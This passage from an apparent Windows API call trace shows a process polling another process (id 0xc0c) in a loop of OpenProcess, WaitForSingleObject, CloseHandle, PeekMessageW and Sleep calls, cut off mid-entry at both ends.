(hObject=0x2f7c) returned 1 [0294.853] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.853] Sleep (dwMilliseconds=0x1) [0294.868] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2f80 [0294.868] WaitForSingleObject (hHandle=0x2f80, dwMilliseconds=0xa) returned 0x102 [0294.883] CloseHandle (hObject=0x2f80) returned 1 [0294.883] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.883] Sleep (dwMilliseconds=0x1) [0294.901] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2fac [0294.901] WaitForSingleObject (hHandle=0x2fac, dwMilliseconds=0xa) returned 0x102 [0294.915] CloseHandle (hObject=0x2fac) returned 1 [0294.915] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.915] Sleep (dwMilliseconds=0x1) [0294.931] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3004 [0294.931] WaitForSingleObject (hHandle=0x3004, dwMilliseconds=0xa) returned 0x102 [0294.946] CloseHandle (hObject=0x3004) returned 1 [0294.946] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.946] Sleep (dwMilliseconds=0x1) [0294.961] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3030 [0294.961] WaitForSingleObject (hHandle=0x3030, dwMilliseconds=0xa) returned 0x102 [0294.977] CloseHandle (hObject=0x3030) returned 1 [0294.977] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0294.977] Sleep (dwMilliseconds=0x1) [0294.993] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3038 [0294.993] WaitForSingleObject (hHandle=0x3038, dwMilliseconds=0xa) returned 0x102 [0295.017] CloseHandle (hObject=0x3038) returned 1 [0295.017] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.018] Sleep (dwMilliseconds=0x1) [0295.024] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3040 [0295.024] WaitForSingleObject (hHandle=0x3040, dwMilliseconds=0xa) returned 0x102 [0295.039] CloseHandle (hObject=0x3040) returned 1 [0295.039] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.040] Sleep (dwMilliseconds=0x1) [0295.057] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3068 [0295.057] WaitForSingleObject (hHandle=0x3068, dwMilliseconds=0xa) returned 0x102 [0295.071] CloseHandle (hObject=0x3068) returned 1 [0295.071] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.071] Sleep (dwMilliseconds=0x1) [0295.086] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3068 [0295.086] WaitForSingleObject (hHandle=0x3068, dwMilliseconds=0xa) returned 0x102 [0295.102] CloseHandle (hObject=0x3068) returned 1 [0295.102] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.102] Sleep (dwMilliseconds=0x1) [0295.118] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3068 [0295.118] WaitForSingleObject (hHandle=0x3068, dwMilliseconds=0xa) returned 0x102 [0295.150] CloseHandle (hObject=0x3068) returned 1 [0295.150] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.150] Sleep (dwMilliseconds=0x1) [0295.152] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3068 [0295.152] WaitForSingleObject (hHandle=0x3068, dwMilliseconds=0xa) returned 0x102 [0295.162] CloseHandle (hObject=0x3068) returned 1 [0295.162] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.162] Sleep (dwMilliseconds=0x1) [0295.163] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3068 [0295.163] WaitForSingleObject (hHandle=0x3068, dwMilliseconds=0xa) returned 0x102 [0295.174] CloseHandle (hObject=0x3068) returned 1 [0295.174] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.174] Sleep (dwMilliseconds=0x1) [0295.175] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3068 [0295.175] WaitForSingleObject (hHandle=0x3068, dwMilliseconds=0xa) returned 0x102 [0295.194] CloseHandle (hObject=0x3068) returned 1 [0295.194] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.194] Sleep (dwMilliseconds=0x1) [0295.219] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3068 [0295.219] WaitForSingleObject (hHandle=0x3068, dwMilliseconds=0xa) returned 0x102 [0295.226] CloseHandle (hObject=0x3068) returned 1 [0295.226] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.226] Sleep (dwMilliseconds=0x1) [0295.241] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3068 [0295.241] WaitForSingleObject (hHandle=0x3068, dwMilliseconds=0xa) returned 0x102 [0295.257] CloseHandle (hObject=0x3068) returned 1 [0295.257] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.257] Sleep (dwMilliseconds=0x1) [0295.273] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3068 [0295.273] WaitForSingleObject (hHandle=0x3068, dwMilliseconds=0xa) returned 0x102 [0295.288] CloseHandle (hObject=0x3068) returned 1 [0295.288] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.288] Sleep (dwMilliseconds=0x1) [0295.304] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3068 [0295.304] WaitForSingleObject (hHandle=0x3068, dwMilliseconds=0xa) returned 0x102 [0295.314] CloseHandle (hObject=0x3068) returned 1 [0295.314] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.314] Sleep (dwMilliseconds=0x1) [0295.316] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3068 [0295.316] WaitForSingleObject (hHandle=0x3068, dwMilliseconds=0xa) returned 0x102 [0295.340] CloseHandle (hObject=0x3068) returned 1 [0295.341] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.341] Sleep (dwMilliseconds=0x1) [0295.366] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3068 [0295.366] WaitForSingleObject (hHandle=0x3068, dwMilliseconds=0xa) returned 0x102 [0295.372] CloseHandle (hObject=0x3068) returned 1 [0295.372] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.375] Sleep (dwMilliseconds=0x1) [0295.387] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3068 [0295.387] WaitForSingleObject (hHandle=0x3068, dwMilliseconds=0xa) returned 0x102 [0295.403] CloseHandle (hObject=0x3068) returned 1 [0295.403] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.403] Sleep (dwMilliseconds=0x1) [0295.419] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3068 [0295.419] WaitForSingleObject (hHandle=0x3068, dwMilliseconds=0xa) returned 0x102 [0295.434] CloseHandle (hObject=0x3068) returned 1 [0295.434] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.434] Sleep (dwMilliseconds=0x1) [0295.450] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3090 [0295.450] WaitForSingleObject (hHandle=0x3090, dwMilliseconds=0xa) returned 0x102 [0295.466] CloseHandle (hObject=0x3090) returned 1 [0295.466] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.466] Sleep (dwMilliseconds=0x1) [0295.483] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3094 [0295.483] WaitForSingleObject (hHandle=0x3094, dwMilliseconds=0xa) returned 0x102 [0295.497] CloseHandle (hObject=0x3094) returned 1 [0295.497] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.497] Sleep (dwMilliseconds=0x1) [0295.517] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x30b0 [0295.517] WaitForSingleObject (hHandle=0x30b0, dwMilliseconds=0xa) returned 0x102 [0295.528] CloseHandle (hObject=0x30b0) returned 1 [0295.528] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.528] Sleep (dwMilliseconds=0x1) [0295.544] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x30d8 [0295.544] WaitForSingleObject (hHandle=0x30d8, dwMilliseconds=0xa) returned 0x102 [0295.559] CloseHandle (hObject=0x30d8) returned 1 [0295.559] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.559] Sleep (dwMilliseconds=0x1) [0295.575] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x30d8 [0295.575] WaitForSingleObject (hHandle=0x30d8, dwMilliseconds=0xa) returned 0x102 [0295.591] CloseHandle (hObject=0x30d8) returned 1 [0295.591] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.591] Sleep (dwMilliseconds=0x1) [0295.606] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x30d8 [0295.606] WaitForSingleObject (hHandle=0x30d8, dwMilliseconds=0xa) returned 0x102 [0295.622] CloseHandle (hObject=0x30d8) returned 1 [0295.622] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.622] Sleep (dwMilliseconds=0x1) [0295.637] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x30d8 [0295.637] WaitForSingleObject (hHandle=0x30d8, dwMilliseconds=0xa) returned 0x102 [0295.653] CloseHandle (hObject=0x30d8) returned 1 [0295.653] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.653] Sleep (dwMilliseconds=0x1) [0295.669] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x30e8 [0295.669] WaitForSingleObject (hHandle=0x30e8, dwMilliseconds=0xa) returned 0x102 [0295.687] CloseHandle (hObject=0x30e8) returned 1 [0295.687] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.687] Sleep (dwMilliseconds=0x1) [0295.702] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3110 [0295.702] WaitForSingleObject (hHandle=0x3110, dwMilliseconds=0xa) returned 0x102 [0295.719] CloseHandle (hObject=0x3110) returned 1 [0295.719] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.719] Sleep (dwMilliseconds=0x1) [0295.735] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3170 [0295.735] WaitForSingleObject (hHandle=0x3170, dwMilliseconds=0xa) returned 0x102 [0295.747] CloseHandle (hObject=0x3170) returned 1 [0295.747] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.747] Sleep (dwMilliseconds=0x1) [0295.764] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x31a0 [0295.764] WaitForSingleObject (hHandle=0x31a0, dwMilliseconds=0xa) returned 0x102 [0295.786] CloseHandle (hObject=0x31a0) returned 1 [0295.786] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.786] Sleep (dwMilliseconds=0x1) [0295.795] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x31d4 [0295.795] WaitForSingleObject (hHandle=0x31d4, dwMilliseconds=0xa) returned 0x102 [0295.809] CloseHandle (hObject=0x31d4) returned 1 [0295.809] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.809] Sleep (dwMilliseconds=0x1) [0295.825] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3214 [0295.825] WaitForSingleObject (hHandle=0x3214, dwMilliseconds=0xa) returned 0x102 [0295.841] CloseHandle (hObject=0x3214) returned 1 [0295.841] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.841] Sleep (dwMilliseconds=0x1) [0295.856] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x321c [0295.856] WaitForSingleObject (hHandle=0x321c, dwMilliseconds=0xa) returned 0x102 [0295.872] CloseHandle (hObject=0x321c) returned 1 [0295.872] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.872] Sleep (dwMilliseconds=0x1) [0295.888] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x321c [0295.888] WaitForSingleObject (hHandle=0x321c, dwMilliseconds=0xa) returned 0x102 [0295.903] CloseHandle (hObject=0x321c) returned 1 [0295.903] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.903] Sleep (dwMilliseconds=0x1) [0295.919] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3224 [0295.919] WaitForSingleObject (hHandle=0x3224, dwMilliseconds=0xa) returned 0x102 [0295.935] CloseHandle (hObject=0x3224) returned 1 [0295.935] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.935] Sleep (dwMilliseconds=0x1) [0295.952] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x323c [0295.952] WaitForSingleObject (hHandle=0x323c, dwMilliseconds=0xa) returned 0x102 [0295.966] CloseHandle (hObject=0x323c) returned 1 [0295.966] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.966] Sleep (dwMilliseconds=0x1) [0295.984] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x329c [0295.984] WaitForSingleObject (hHandle=0x329c, dwMilliseconds=0xa) returned 0x102 [0295.997] CloseHandle (hObject=0x329c) returned 1 [0295.997] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0295.997] Sleep (dwMilliseconds=0x1) [0296.016] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x32bc [0296.016] WaitForSingleObject (hHandle=0x32bc, dwMilliseconds=0xa) returned 0x102 [0296.028] CloseHandle (hObject=0x32bc) returned 1 [0296.028] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.028] Sleep (dwMilliseconds=0x1) [0296.044] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x32bc [0296.044] WaitForSingleObject (hHandle=0x32bc, dwMilliseconds=0xa) returned 0x102 [0296.060] CloseHandle (hObject=0x32bc) returned 1 [0296.060] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.060] Sleep (dwMilliseconds=0x1) [0296.075] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x32bc [0296.075] WaitForSingleObject (hHandle=0x32bc, dwMilliseconds=0xa) returned 0x102 [0296.091] CloseHandle (hObject=0x32bc) returned 1 [0296.091] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.091] Sleep (dwMilliseconds=0x1) [0296.110] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x32f4 [0296.110] WaitForSingleObject (hHandle=0x32f4, dwMilliseconds=0xa) returned 0x102 [0296.125] CloseHandle (hObject=0x32f4) returned 1 [0296.125] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.125] Sleep (dwMilliseconds=0x1) [0296.140] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3354 [0296.140] WaitForSingleObject (hHandle=0x3354, dwMilliseconds=0xa) returned 0x102 [0296.153] CloseHandle (hObject=0x3354) returned 1 [0296.153] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.153] Sleep (dwMilliseconds=0x1) [0296.169] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3370 [0296.169] WaitForSingleObject (hHandle=0x3370, dwMilliseconds=0xa) returned 0x102 [0296.184] CloseHandle (hObject=0x3370) returned 1 [0296.184] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.184] Sleep (dwMilliseconds=0x1) [0296.200] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3370 [0296.200] WaitForSingleObject (hHandle=0x3370, dwMilliseconds=0xa) returned 0x102 [0296.216] CloseHandle (hObject=0x3370) returned 1 [0296.216] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.216] Sleep (dwMilliseconds=0x1) [0296.231] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3370 [0296.231] WaitForSingleObject (hHandle=0x3370, dwMilliseconds=0xa) returned 0x102 [0296.248] CloseHandle (hObject=0x3370) returned 1 [0296.248] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.248] Sleep (dwMilliseconds=0x1) [0296.263] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x33b4 [0296.263] WaitForSingleObject (hHandle=0x33b4, dwMilliseconds=0xa) returned 0x102 [0296.279] CloseHandle (hObject=0x33b4) returned 1 [0296.279] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.279] Sleep (dwMilliseconds=0x1) [0296.294] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3410 [0296.294] WaitForSingleObject (hHandle=0x3410, dwMilliseconds=0xa) returned 0x102 [0296.309] CloseHandle (hObject=0x3410) returned 1 [0296.309] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.309] Sleep (dwMilliseconds=0x1) [0296.326] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3410 [0296.326] WaitForSingleObject (hHandle=0x3410, dwMilliseconds=0xa) returned 0x102 [0296.341] CloseHandle (hObject=0x3410) returned 1 [0296.341] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.341] Sleep (dwMilliseconds=0x1) [0296.356] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3410 [0296.356] WaitForSingleObject (hHandle=0x3410, dwMilliseconds=0xa) returned 0x102 [0296.372] CloseHandle (hObject=0x3410) returned 1 [0296.372] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.372] Sleep (dwMilliseconds=0x1) [0296.387] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3410 [0296.388] WaitForSingleObject (hHandle=0x3410, dwMilliseconds=0xa) returned 0x102 [0296.403] CloseHandle (hObject=0x3410) returned 1 [0296.403] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.403] Sleep (dwMilliseconds=0x1) [0296.419] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3410 [0296.419] WaitForSingleObject (hHandle=0x3410, dwMilliseconds=0xa) returned 0x102 [0296.434] CloseHandle (hObject=0x3410) returned 1 [0296.434] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.434] Sleep (dwMilliseconds=0x1) [0296.450] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3410 [0296.450] WaitForSingleObject (hHandle=0x3410, dwMilliseconds=0xa) returned 0x102 [0296.466] CloseHandle (hObject=0x3410) returned 1 [0296.466] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.466] Sleep (dwMilliseconds=0x1) [0296.481] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3410 [0296.481] WaitForSingleObject (hHandle=0x3410, dwMilliseconds=0xa) returned 0x102 [0296.497] CloseHandle (hObject=0x3410) returned 1 [0296.497] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.497] Sleep (dwMilliseconds=0x1) [0296.512] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3410 [0296.512] WaitForSingleObject (hHandle=0x3410, dwMilliseconds=0xa) returned 0x102 [0296.529] CloseHandle (hObject=0x3410) returned 1 [0296.529] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.529] Sleep (dwMilliseconds=0x1) [0296.544] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3418 [0296.544] WaitForSingleObject (hHandle=0x3418, dwMilliseconds=0xa) returned 0x102 [0296.559] CloseHandle (hObject=0x3418) returned 1 [0296.559] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.559] Sleep (dwMilliseconds=0x1) [0296.575] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3418 [0296.575] WaitForSingleObject (hHandle=0x3418, dwMilliseconds=0xa) returned 0x102 [0296.591] CloseHandle (hObject=0x3418) returned 1 [0296.591] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0296.591] Sleep (dwMilliseconds=0x1) [0296.606] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3418 [0296.606] WaitForSingleObject (hHandle=0x3418, dwMilliseconds=0xa) returned 0x102 [0296.622] CloseHandle (hObject=0x3418) returned 1 [0296.622] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 